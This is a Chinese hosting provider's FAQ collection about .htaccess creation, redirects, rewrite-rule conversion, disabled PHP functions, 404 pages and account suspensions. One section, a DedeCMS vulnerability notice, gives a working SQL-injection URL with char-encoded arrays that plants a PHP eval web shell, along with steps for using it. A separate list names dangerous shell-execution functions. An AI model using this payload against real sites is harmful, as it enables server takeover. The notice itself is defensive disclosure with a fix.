Windows下自由创建.htaccess文件的几种方法
  •            .htaccess是apache的访问控制文件,apache中httpd.conf的选项配合此文件,完美实现了目录、站点的访问控制,当然最多的还是rewrite功能,即URL重写,PHP中实现伪静态的一个重要途径,也是被公认为SEO中搜索引擎友好的极为有效的一个手段。

         现在的一个实际问题就是windows不允许重命名时.的前面没有字符,它认为这样的文件名是不合法的。这就造成我们无法通过重命名”新建文本文档.txt”为”.htaccess”来创建此访问控制文件,但是,事情总有解决的办法。且看下面的几个方法:

       1、使用DOS命令,在DOS下有三种方法可供选择:

         使用屏幕编辑命令copy con .htaccess后回车,输入内容,最后按下ctrl+z结束编辑,就成功生成了.htaccess;

         使用重命名命令ren 1.txt .htaccess ,这是最常规的方法了,在windows窗口下不能执行的命令,在cmd下却如履平地;

         使用重定向命令 echo. >.htaccess,这里将一个回车符输入到.htaccess,同样能创建成功。

       使用DOS命令创建.htaccess文件

       2、用winrar的文件管理器

         先新建一文本文档,然后打开winrar主界面,定位到该文件,可以直接重命名,当然你使用7zip之类的管理器也是可以的。

       用winrar的文件管理器创建.htaccess文件

       

       3、直接通过文本编辑工具保存

         例如记事本,ultraEdit等等,不过保存的时候选择所有文件就可以了,如图:

       Windows下自由创建.htaccess文件的五种方法

       4、使用php中的文件创建方法

         fopen,file_put_contents文件名直接取.htaccess就可以创建成功。

       

       

       

云虚拟主机实现301的方法与网站伪静态的方法
  • 我司虚拟主机分为windows与liunx两种,分别采用了iis和apache作为web服务器。

    iis上面安装的是ISAPI_Rewrite或者是URL Rewrite来实现网站程序的伪静态,apache本身就自带一个伪静态的模块LoadModule rewrite_module modules/mod_rewrite。

    ISAPI_Rewrite和mod_rewrite都统一采用了.htaccess文件为伪静态的规则文件;URL Rewrite则采用的是 web.config 配置文件来实现伪静态。


    1、301的实现

    很多站长都希望让自己的网站可以在访问xxx.com时就可以像百度、腾讯这样的门户网站一样可以直接跳转到www.xxx.com。这种跳转叫做301重定向,是http协议的一种。当然还有302重定向,理                论上都是一样的这里就不再介绍。我司的虚拟主机是没有直接提供301重定向设置的,所以需要使用伪静态的方法来实现,当然也可以通过网站程序上来实现。这里只介绍伪静态的方                    法。

    方法之一:只需要把下面的代码加入到.htaccess文件中,上传到网站根目录就可以了。

    RewriteEngine On

    RewriteCond %{HTTP_HOST} !^www.xxx.com$ [NC]

    RewriteRule ^(.*)$ http://www.xxx.com/$1 [L,R=301]

    这样我们就实现了网站的301重定向。注意,www.xxx.com只是一个示例域名,请修改成自己的域名。

    如果是需要将旧域名跳转至新域名,请使用以下规则

    RewriteEngine on    
       RewriteCond %{HTTP_HOST} ^www.旧.com$ [OR]
       RewriteCond %{HTTP_HOST} ^旧.com$
       RewriteRule ^(.*)$ http://www.新.com [R=301,L]

    方法之二:将规则文件写入web.config文件的<rules>节点内即可。

       

    <rule name="301 Redirect" stopProcessing="true">

    <match url=".*" />

    <conditions>

    <add input="{HTTP_HOST}" pattern="^xxxxx.com" />

    </conditions>

    <action type="Redirect" url="http://www.xxxxx.com/{R:0}" redirectType="Permanent" />

    </rule>


    2、伪静态的实现

    现在很多网站都是采用的DISCUZ、PHPWIND、WORDPRESS这样的网站程序。因为有些程序不支持静态页面生成,但为了搜索引擎的友好性就需要采用伪静态来欺骗搜索引擎以达到友好的效果。大部分网站程序官方都提供了各种伪静态规则,其中就有.htaccess,在官方网站把这个规则文件下载下来传到到空间的网站根目录,并在网站程序设置中启用伪静态就可以了。


伪静态规则转换技巧:.htaccess导入为web.config
  • 有很多用户购买了windows server 2008的主机,但却因为不能使用.htaccess伪静态规则而很苦恼。因为我们的windows server 2008服务器全平台采用微软组件,所以不再支持.htaccess,只能使用微软原生的web.config文件,将其匹配的规则写入在里面,规则可由程序开发商提供,或者自行进行编写。那么,如果只有像.htaccess这样的规则文件怎么办呢?实际上强大的微软是已经考虑到了这一点,微软的伪静态组件提供了一个规则导入功能,可以将.htaccess规则导入为web.config文件支持的伪静态规则,具体的操作请参考如下。

    操作环境:

    1、      windows vsta以上版本的操作系统。

    2、      安装7.0以上版本的IIS

    3、      http://www.microsoft.com/web/gallery/install.aspx?appid=urlrewrite2下载安装URL_Rewrite组件并安装在IIS上。

    操作步骤:

    做好准备工作,确保是以上环境后进行以下操作。

    1、打开IIS创建一个站点,当然也可使用默认的站点。

    2、选中站点,进入站点的功能主页。如果安装了URL_Rewrite组件,就可以在IIS一栏中看到URL重写的功能。这个就是微软伪静态组件。

    3、选中URL重写,并双击进入该组件设置页,可看到已经重新的URL规则,也就是伪静态规则。在右侧则有设置URL重写的操作。

    4、点击右侧的导入规则(注意在做此步操作前为了保证我们获取到的规则没有任何其他内容在里面,请先将站点根目录下的web.config文件删除。)。

    5、进入导入规则页,可在要导入的规则处进行选择.htaccess文件进行自动导入,也可以将.htaccess文件中的规则复制后粘贴到下方的重写的规则文件。

    6、导入后,可以已转换的规则中看到转换完成后的规则。

    7、确认已经转换的规则全部都是绿色的勾后,说明规则已经没有问题可以正常使用。最后点击右侧的应用生成web.config文件,将此文件直接通过ftp上传至空间的网站根目录中。

     

    注意事项:

    1、以上操作均为本地电脑进行

    2、按照本文档在本地电脑搭建适当的环境以后无需任何技术帮助处理,用户可自己直接完成操作。

    3、如果遇到转换后规则不生效的情况,请注意规则中是否有错误的转义字符。因为IIS有可能会将该类型转义字符识别为路径目录标识。

     

云虚拟主机禁用的PHP函数列表
  • exec()
    功能描述:允许执行一个外部程序(如 UNIX Shell 或 CMD 命令等)。
    危险等级:高

    passthru()
    功能描述:允许执行一个外部程序并回显输出,类似于 exec()。
    危险等级:高

    system()
    功能描述:允许执行一个外部程序并回显输出,类似于 passthru()。
    危险等级:高

    shell_exec()
    功能描述:通过 Shell 执行命令,并将执行结果作为字符串返回。
    危险等级:高

    chown()
    功能描述:改变文件或目录的所有者。
    危险等级:高

    chgrp()
    功能描述:改变文件或目录所属的用户组。
    危险等级:高

    proc_open()
    功能描述:执行一个命令并打开文件指针用于读取以及写入。
    危险等级:高

    popen()
    功能描述:可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。
    危险等级:高

    proc_get_status()
    功能描述:获取使用 proc_open() 所打开进程的信息。
    危险等级:高

    scandir()
    功能描述:列出指定路径中的文件和目录。
    危险等级:中

    error_log()
    功能描述:将错误信息发送到指定位置(文件)。
    危险等级:低

    ini_alter()
    功能描述:是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。
    具体参见 ini_set()。
    危险等级:高

    ini_set()
    功能描述:可用于修改、设置 PHP 环境配置参数。
    危险等级:高

    ini_restore()
    功能描述:可用于恢复 PHP 环境配置参数到其初始值。
    危险等级:高

    dl()
    功能描述:在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。
    危险等级:高

    pfsockopen()
    功能描述:建立一个 Internet 或 UNIX 域的 socket 持久连接。
    危险等级:高

    syslog()
    功能描述:可调用 UNIX 系统的系统层 syslog() 函数。
    危险等级:中

    readlink()
    功能描述:返回符号连接指向的目标文件内容。
    危险等级:中

    symlink()
    功能描述:在 UNIX 系统中建立一个符号链接。
    危险等级:高

    stream_socket_server()
    功能描述:建立一个 Internet 或 UNIX 服务器连接。
    危险等级:中

    putenv()
    功能描述:用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数
    修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统shell命令。
    危险等级:高

关于PHP函数(p)fsockopen禁用的解决办法
  •    我们发现fsockopen pfsockopen函数存在着重大安全隐患,会对整个机房产生极大的影响,为了维护机房以及自身网络的稳定,我们不得不在所有主机产品上禁用fsockopen pfsockopen函数,我们会首先将隐患发生较重的服务器着手操作,其他的服务器会分批分量进行,有使用此功能的网站建议用户提前修改程序,以免影响网站的正常使用,给您带来不便,请您谅解!

    关于fsockopen pfsockopen函数被禁用的解决方法

       一、

       服务器同时禁用了fsockopen pfsockopen,那么用其他函数代替,如stream_socket_client()。注意:stream_socket_client()和fsockopen()的参数不同。

       具体操作:

       搜索程序中的字符串 fsockopen( 替换为 stream_socket_client( ,

       然后,将原fsockopen函数中的端口参数“80”删掉,并加到$host。

       示例如下,修改前:    

          $fp = fsockopen($host, 80, $errno, $errstr, 30);

       修改后:    

          $fp = stream_socket_client($host."80", $errno, $errstr, 30);

       二、

       如果PHP版本低于5.0,fsockopen被禁用,又没有stream_socket_client()怎么办呢?自己写一个函数实现fsockopen的功能,参考代码:

           function b_fsockopen($host, $port, &$errno, &$errstr, $timeout) {

           $ip = gethostbyname($host);

           $s = socket_create(AF_INET, SOCK_STREAM, 0);

           if (socket_set_nonblock($s)) {

               $r = @socket_connect($s, $ip, $port);

                   if ($r || socket_last_error() == EINPROGRESS) {

                       $errno = EINPROGRESS;

                       return $s;

                   }

               }

           $errno = socket_last_error($s);

           $errstr = socket_strerror($errno);

           socket_close($s);

           return false;

       }    


云虚拟主机内文件或者目录无法通过ftp删除的解决方法
  • 一般这种情况有两种,一种是权限问题,另外一种是因为网站程序中有漏洞,被黑客恶意修改了文件属性。
    如果是前一种情况可以联系我司的技术客服进行空间权限调整。后一种情况,可以直接登陆“主机产品管理平台”,通过“文件删除”工具来对该文件进行删除


云虚拟主机空间视频播放外链设置
    • 若您购买的机房非我司支持下载的机房,您的空间即无法在线播放空间内视频。这种情况下若您需要播放建议您设置视频外链。您可以先将您的视频上传于其他视频播放网站,如youku tudou 腾讯等,再在对应视频播放站播放页面处获得外链地址及对应代码,将代码插入至您站点中需要播放视频的页面即可。

      以优酷为例,上传后,在播放页面分享处点击箭头,会出现如图示内容

      复制html代码,并将对应代码插入您需要播放视频的页面中。

      您即可在您的页面上观看对应视频。

     

dedecms 漏洞,可提权,后台提示用户名不存在解决方法
  • dedecms 漏洞,可提权,后台提示用户名不存在解决方法
    影响网站:

       所有dedecms 版本

    漏洞页面

       plus/download.php

    如果已经发现/data,有很长一个txt记事本,说明已经被其他人SQL注入了,或是已经有人进行尝试SQL注入了。记事本名如:75252sdaswfdfsfq538ef2ad3556_safe.txt这样的。

    漏洞脚本

       plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=57&arrs2[]=48&arrs2[]=49&arrs2[]=51&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=57&arrs2[]=48&arrs2[]=115&arrs2[]=101&arrs2[]=99&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=103&arrs2[]=117&arrs2[]=105&arrs2[]=103&arrs2[]=101&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96

    漏洞使用

       生成一句话:/plus/mytag_js.php?aid=9013

       一句话页面:plus/90sec.php

    相关系统:

       windows server 系列
    建议:直接把plus目录下的下载文件及搜索php文件是直接删除就解决了

.htaccess文件设置友好的404页面
  • 为Apache Server设置 404错误页面的方法很简单,只需在.htaccess 文件中加入如下内容即可:

    ErrorDocument 404 /notfound.php

    注意:

       1.切记不要将404错误转向到网站主页,否则可能会导致主页在搜索引擎中消失

       2.切记不要使用绝对URL(例如:http://www.111cn.net/nokia/n96/形式),如果使用绝对URL返回的状态码是“302”+“200”

    正确的做法是在 .htaccess 中加入

    ErrorDocument 404 /404.html

    而不是

    ErrorDocument 404 http://www.xxx.com/404.html

    前者返回的是 404 状态码,

    而后者返回的是 200 状态码。如果一个 404 页面的内容小于 512b,IE 会认为该 404 页面不够友好,在 IE 下将不会成功返回该 404 错误页面。


关于虚拟主机管理停止的状态说明
  • 目前虚拟主机控制被管理员停止的状态分为几种情况,下面对每种情况作如下说明

    管理员停止-非法信息关闭

       一般会给出非法信息内容或者具体链接,用户应删除对应非法信息。处理后第一次可以提交咨询反馈申请开启(网监或上级监管部门通知查处除外),第二次将关停三天再提交咨询反馈申请开启,第三次被停则永不开启

    管理员停止-网站被攻击

       一般会给出具体的攻击的证据(日志文件),这种影响恶劣,范围广原则上面出现一次永不开启不退款

    管理员停止-网站流量过大

       一般会给出具体的流量大小以及相关统计数据。处理办法是建议客户升级空间或者是等下月初系统自动开启新流量计数

    管理员停止-网站程序异常

       一般会给出具体异常的连接,用户需要根据连接对程序进行优化修改。处理后第一次可以提交咨询反馈申请开启,第二次将关停三天再提交咨询反馈申请开启,第三次被停则永不开启

    管理员停止-超过系统CPU限制

       一般会给出跑CPU的程序连接,用户需要检查程序并做出修改。处理后第一次可以提交咨询反馈申请开启,第二次将关停三天再提交咨询反馈申请开启,第三次被停则永不开启